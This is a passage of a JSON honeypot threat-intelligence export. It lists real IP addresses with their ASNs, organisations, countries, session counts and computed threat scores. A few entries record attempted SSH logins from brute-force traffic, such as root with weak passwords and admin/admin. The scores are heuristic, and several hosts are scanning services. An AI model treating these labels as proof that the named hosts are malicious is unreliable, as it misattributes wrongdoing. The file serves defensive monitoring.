      "first_seen": "2026-03-25T02:35:33.791Z",
      "last_seen": "2026-03-30T10:36:54.948Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 62.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.2,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 11,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-21T00:55:16+00:00",
        "last_seen_30d": "2026-03-31T22:11:55.621000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "Honeytrap": 21,
        "Cowrie": 10
      }
    },
    "147.185.132.189": {
      "attack_count": 8,
      "first_seen": "2026-03-06T16:51:21.568Z",
      "last_seen": "2026-03-15T18:15:08.242Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 151,
        "days_active_30d": 28,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T02:07:28+00:00",
        "last_seen_30d": "2026-03-29T12:18:45.108000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 103,
        "Honeytrap": 37,
        "Cowrie": 8,
        "ConPot": 1,
        "Dionaea": 1,
        "Wordpot": 1
      }
    },
    "157.245.252.5": {
      "attack_count": 8,
      "first_seen": "2026-03-12T03:42:07.455Z",
      "last_seen": "2026-03-12T03:43:17.828Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 8.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 122958,
        "days_active_30d": 10,
        "ports_targeted_30d": 64086,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-03-03T07:45:23+00:00",
        "last_seen_30d": "2026-03-12T03:53:54.401000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107895,
        "Honeytrap": 15008,
        "Dionaea": 10,
        "ConPot": 9,
        "Cowrie": 8,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "64.227.106.112": {
      "attack_count": 8,
      "first_seen": "2026-03-02T03:53:03.345Z",
      "last_seen": "2026-03-02T03:53:37.061Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 83.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 100180,
        "days_active_30d": 26,
        "ports_targeted_30d": 61734,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-03-02T03:51:39+00:00",
        "last_seen_30d": "2026-03-27T13:17:13.826000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 90343,
        "Honeytrap": 9784,
        "ConPot": 9,
        "Dionaea": 9,
        "Cowrie": 8,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 1,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "198.235.24.243": {
      "attack_count": 6,
      "first_seen": "2026-03-15T05:55:41.544Z",
      "last_seen": "2026-03-22T04:52:41.930Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 92.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T04:46:23+00:00",
        "last_seen_30d": "2026-03-31T08:40:17.363000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 101,
        "Honeytrap": 44,
        "Cowrie": 6,
        "Mailoney": 5,
        "ConPot": 1
      }
    },
    "14.103.74.80": {
      "attack_count": 5,
      "first_seen": "2026-03-23T13:30:46.331Z",
      "last_seen": "2026-03-23T13:30:49.122Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "dave"
      ],
      "passwords_attempted": [
        "dave@123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T13:30:46.331000+00:00",
        "last_seen_30d": "2026-03-23T13:31:56.862000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.150": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:05:58.037Z",
      "last_seen": "2026-03-10T23:06:00.426Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "dieppe"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:05:58.037000+00:00",
        "last_seen_30d": "2026-03-10T23:07:04.490000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.157": {
      "attack_count": 5,
      "first_seen": "2026-03-11T00:38:33.105Z",
      "last_seen": "2026-03-11T00:38:35.494Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "zabeth"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:38:33.105000+00:00",
        "last_seen_30d": "2026-03-11T00:39:36.368000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.31": {
      "attack_count": 5,
      "first_seen": "2026-03-11T00:20:05.947Z",
      "last_seen": "2026-03-11T00:20:08.297Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12021987"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:20:05.947000+00:00",
        "last_seen_30d": "2026-03-11T00:21:09.595000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.36": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:09:01.242Z",
      "last_seen": "2026-03-10T23:09:03.557Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "250785"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:09:01.242000+00:00",
        "last_seen_30d": "2026-03-10T23:10:08.616000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "13.222.246.187": {
      "attack_count": 4,
      "first_seen": "2026-03-30T00:58:08.020Z",
      "last_seen": "2026-03-30T00:58:13.786Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T00:58:08.020000+00:00",
        "last_seen_30d": "2026-03-30T00:59:14.999000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "147.185.132.66": {
      "attack_count": 4,
      "first_seen": "2026-03-11T16:58:32.591Z",
      "last_seen": "2026-03-11T16:58:35.817Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 71.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.2,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 24,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-03T13:40:27+00:00",
        "last_seen_30d": "2026-03-26T22:39:12.606000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 83,
        "Honeytrap": 34,
        "Miniprint": 9,
        "Cowrie": 4,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "170.64.198.74": {
      "attack_count": 4,
      "first_seen": "2026-03-16T06:12:47.773Z",
      "last_seen": "2026-03-16T15:37:00.532Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T06:12:47.773000+00:00",
        "last_seen_30d": "2026-03-16T15:38:01.720000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4
      }
    },
    "177.23.17.1": {
      "attack_count": 4,
      "first_seen": "2026-03-09T03:08:20.322Z",
      "last_seen": "2026-03-13T22:44:05.639Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Maranguape",
      "asn": 262887,
      "as_org": "RAPIX INTERNET",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T03:08:20.322000+00:00",
        "last_seen_30d": "2026-03-13T22:45:11.405000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "188.166.166.54": {
      "attack_count": 4,
      "first_seen": "2026-03-16T22:46:50.737Z",
      "last_seen": "2026-03-16T22:47:10.737Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 5.0,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 6,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-13T13:33:46.419000+00:00",
        "last_seen_30d": "2026-03-18T14:40:30.567000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29,
        "Honeytrap": 12,
        "Cowrie": 4,
        "Ipphoney": 1
      }
    },
    "205.210.31.109": {
      "attack_count": 4,
      "first_seen": "2026-03-13T10:32:24.281Z",
      "last_seen": "2026-03-13T10:32:27.811Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 30,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T13:38:23.386000+00:00",
        "last_seen_30d": "2026-03-31T19:32:27.501000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 30,
        "Adbhoney": 4,
        "Cowrie": 4,
        "H0neytr4p": 1,
        "Wordpot": 1
      }
    },
    "205.210.31.36": {
      "attack_count": 4,
      "first_seen": "2026-03-20T22:13:09.413Z",
      "last_seen": "2026-03-20T22:13:13.006Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T00:33:54.499000+00:00",
        "last_seen_30d": "2026-03-31T20:55:08.664000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 21,
        "Cowrie": 4
      }
    },
    "31.14.32.7": {
      "attack_count": 4,
      "first_seen": "2026-03-23T08:32:13.629Z",
      "last_seen": "2026-03-23T08:32:14.180Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 201401,
      "as_org": "NewVM B.V.",
      "threat_score": 90.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 560,
        "days_active_30d": 28,
        "ports_targeted_30d": 267,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T13:48:20+00:00",
        "last_seen_30d": "2026-03-31T05:16:23.697000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 281,
        "Honeytrap": 274,
        "Cowrie": 4,
        "Dicompot": 1
      }
    },
    "111.59.16.7": {
      "attack_count": 3,
      "first_seen": "2026-03-03T11:00:34.468Z",
      "last_seen": "2026-03-03T11:00:34.872Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 10.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 13,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T11:00:34.468000+00:00",
        "last_seen_30d": "2026-03-15T07:52:46.143000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "210.211.122.97": {
      "attack_count": 3,
      "first_seen": "2026-03-02T16:05:39.067Z",
      "last_seen": "2026-03-02T16:06:41.705Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 38731,
      "as_org": "CHT Compamy Ltd",
      "threat_score": 40.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.4,
        "persistence": 15.8,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 19,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T16:05:39.067000+00:00",
        "last_seen_30d": "2026-03-20T04:15:44.671000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Tanner": 46,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "104.152.52.233": {
      "attack_count": 2,
      "first_seen": "2026-03-23T15:25:25.299Z",
      "last_seen": "2026-03-23T15:25:25.520Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T15:25:25.299000+00:00",
        "last_seen_30d": "2026-03-23T15:26:32.119000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.156.160.35": {
      "attack_count": 2,
      "first_seen": "2026-03-10T09:37:06.200Z",
      "last_seen": "2026-03-10T09:37:38.169Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T09:37:06.200000+00:00",
        "last_seen_30d": "2026-03-10T09:38:47.710000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "117.245.142.217": {
      "attack_count": 2,
      "first_seen": "2026-03-22T10:24:54.495Z",
      "last_seen": "2026-03-22T10:25:08.813Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "S\u012bkar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T10:24:54.495000+00:00",
        "last_seen_30d": "2026-03-22T10:26:17.140000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "14.192.247.14": {
      "attack_count": 2,
      "first_seen": "2026-03-20T15:32:20.700Z",
      "last_seen": "2026-03-20T15:32:34.054Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 9534,
      "as_org": "Binariang Berhad",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T15:32:20.700000+00:00",
        "last_seen_30d": "2026-03-20T15:33:36.976000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.18": {
      "attack_count": 2,
      "first_seen": "2026-03-08T17:31:05.462Z",
      "last_seen": "2026-03-08T17:31:36.478Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 30,
        "ports_targeted_30d": 40,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T05:20:10+00:00",
        "last_seen_30d": "2026-03-31T22:25:54.883000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 98,
        "Honeytrap": 41,
        "ConPot": 3,
        "Cowrie": 2
      }
    },
    "168.197.73.250": {
      "attack_count": 2,
      "first_seen": "2026-03-02T12:11:50.963Z",
      "last_seen": "2026-03-02T12:12:22.268Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Jo\u00e3o C\u00e2mara",
      "asn": 262773,
      "as_org": "PROXXIMA TELECOMUNICACOES SA",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T12:11:50.963000+00:00",
        "last_seen_30d": "2026-03-02T12:13:26.386000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "169.239.0.54": {
      "attack_count": 2,
      "first_seen": "2026-03-11T22:31:29.283Z",
      "last_seen": "2026-03-11T22:31:29.704Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
